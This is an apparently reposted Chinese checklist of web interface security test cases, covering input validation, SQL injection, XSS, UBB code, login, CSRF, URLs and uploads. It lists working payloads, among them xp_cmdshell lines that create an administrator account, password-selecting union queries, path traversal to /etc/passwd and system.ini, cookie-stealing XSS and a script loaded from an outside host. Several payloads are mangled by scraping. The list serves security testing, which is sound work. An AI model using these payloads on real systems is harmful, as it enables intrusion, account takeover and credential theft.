实用的接口安全测试用例

网上收集来的(所有的都是半角的单引和又引)
分几种类型:输入验证,sql注入,xss攻击,ubb,用户名密码

1、输入验证

客户端验证 服务器端验证(禁用脚本调试,禁用Cookies)
1.输入很大的数(如72932398579857),输入很小的数(负数)
2.输入超长字符,如对输入文字长度有限制,则尝试超过限制,刚好到达限制字数时有何反应
3.输入特殊字符,如:~!@#$%^&*()_+<>:”{}|
4.输入中英文空格,输入字符串中间含空格,输入首尾空格
5.输入特殊字符串NULL,null,0x0d 0x0a
6.输入正常字符串
7.输入与要求不同类型的字符,如: 要求输入数字则检查正值,负值,零值(正零,负零),小数,字母,空值; 要求输入字母则检查输入数字
8.输入html和javascript代码
9.对于像回答数这样需检验数字正确性的测试点,不仅对比其与问题最终页的回答数,还要对回答进行添加删除等操作后查看变化
例如:
1.输入”hello,看是否出错;
2.输入,看是否出现文本框;
3.输入看是否出现提示。

2、防止SQL注入

在文件框中输入,在参数值中输入

admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a[/code]
'and  (   )   exec   insert   *   %   chr   mid
and 1=1 ; And 1=1 ; aNd 1=1 ; char(97)char(110)char(100) char(49)char(61)char(49);%20AND%201=2
'and 1=1    ;  'And  1=1   ;   'aNd   1=1   ;
and 1=2    ;   'and 1=2
and 2=2
and user>0
and (select count(*) from sysobjects)>0
and (select count(*) from msysobjects)>0
and (Select Count(*) from Admin)>=0
and (select top 1 len(username) from Admin)>0(username 已知字段)
;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"--
and 0<>(select count(*) from admin)

3、跨站脚本攻击(XSS)

在输入框中输入,这些脚本如果有对应的反馈就是有问题。

>alert(document.cookie)
='>alert(document.cookie)
alert(document.cookie)
alert(helloworld)
%3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E
alert('XSS')

%0a%0aalert(\"helloworld\").jsp
%22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e
%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html
%3f.jsp
%3f.jsp
<scrīpt>alert('linda is ok');</scrīpt>
alert('Vulnerable')
?sql_debug=1
a%5c.aspx
a.jsp/alert('Vulnerable')
a/
a?alert('Vulnerable')
">alert('Vulnerable')
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E
%3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E&
%3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"=&{()}










"";' > out

a=/XSS/alert(a.source)






getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); "> function a(){alert('XSS');}<" " SRC="http://xss.ha.ckers.org/a.js"> document.write("PT SRC="http://xss.ha.ckers.org/a.js"> link

4、用户名密码

检测接口程序连接登录时,是否需要输入相应的用户
是否设置密码最小长度(密码强度)
用户名和密码中是否可以有空格或回车?
是否允许密码和用户名一致
防恶意注册:可否用自动填表工具自动注册用户? (傲游等)
遗忘密码处理
有无缺省的超级用户?(admin等,关键字需屏蔽)
有无超级密码?
是否有校验码?
密码错误次数有无限制?
大小写敏感?
口令不允许以明码显示在输出设备上
强制修改的时间间隔限制(初始默认密码)
口令的唯一性限制(看需求是否需要)
口令过期失效后,是否可以不登陆而直接浏览某个页面
哪些页面或者文件需要登录后才能访问/下载
cookie中或隐藏变量中是否含有用户名、密码、userid等关键信息

跨站请求伪造(CSRF)

同个浏览器打开两个页面,一个页面权限失效后,另一个页面是否可操作成功。

关于URL:

1.某些需登录后或特殊用户才能进入的页面,是否可以通过直接输入网址的方式进入;
2.对于带参数的网址,恶意修改其参数,(若为数字,则输入字母,或很大的数字,或输入特殊字符等)后打开网址是否出错,是否可以非法进入某些页面;
3.搜索页面等url中含有关键字的,输入html代码或JavaScript看是否在页面中显示或执行。
4.输入善意字符。

UBB:

[url=http://www.****.com] 你的网站[/url]
1.试着用各种方式输入UBB代码,比如代码不完整,代码嵌套等等.
2.在UBB代码中加入属性,如样式,事件等属性,看是否起作用
3.输入编辑器中不存在的UBB代码,看是否起作用

[url=javascript:alert('hello')]链接[/url]
[email=javascript:alert('hello')]EMail[/email]
[[email protected] STYLE="background-image: url(javascript:alert('XSS'))"][email protected][/email]
[img]http://www.13fun.cn/2007713015578593_03.jpg style="background-image:url(javascript:alert('alert(xss)'))"[/img]
[img]http://www.13fun.cn/photo/2007-7/2007713015578593_03.jpg "onmouseover=alert('hello');"[/img]
[b STYLE="background-image: url(javascript:alert('XSS'))"]一首诗酸涩涩服务网[/b]
[i STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/i]
[u]一二三四五六七北京市[/u]
[font=微软雅黑" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[float=left" STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[font=微软雅黑 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/font]
[size=4 STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/size]
[color=Red STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/color]
[align=center STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/align]
[list=1]
[*]一二三四五六七北京市[/list]
[indent]一二三四五六七北京市[/indent]
[float=left STYLE="background-image: url(javascript:alert('XSS'))"]一二三四五六七北京市[/float]
[media=ra,400,300,0]http://bbsforblog.ikaka.com/posttopic.aspx?forumid=109[/media]

关于上传:

1.上传文件是否有格式限制,是否可以上传exe文件;
2.上传文件是否有大小限制,上传太大的文件是否导致异常错误,上传0K的文件是否会导致异常错误,上传并不存在的文件是否会导致异常错误;
3.通过修改扩展名的方式是否可以绕过格式限制,是否可以通过压包方式绕过格式限制;
4.是否有上传空间的限制,是否可以超过空间所限制的大小,如将超过空间的大文件拆分上传是否会出现异常错误。
5.上传文件大小大于本地剩余空间大小,是否会出现异常错误。
6.关于上传是否成功的判断。上传过程中,中断。程序是否判断上传是否成功。
7.对于文件名中带有中文字符,特殊字符等的文件上传。

下载:

避免输入:..\web.
修改命名后缀。

你可能感兴趣的:(实用的接口安全测试用例)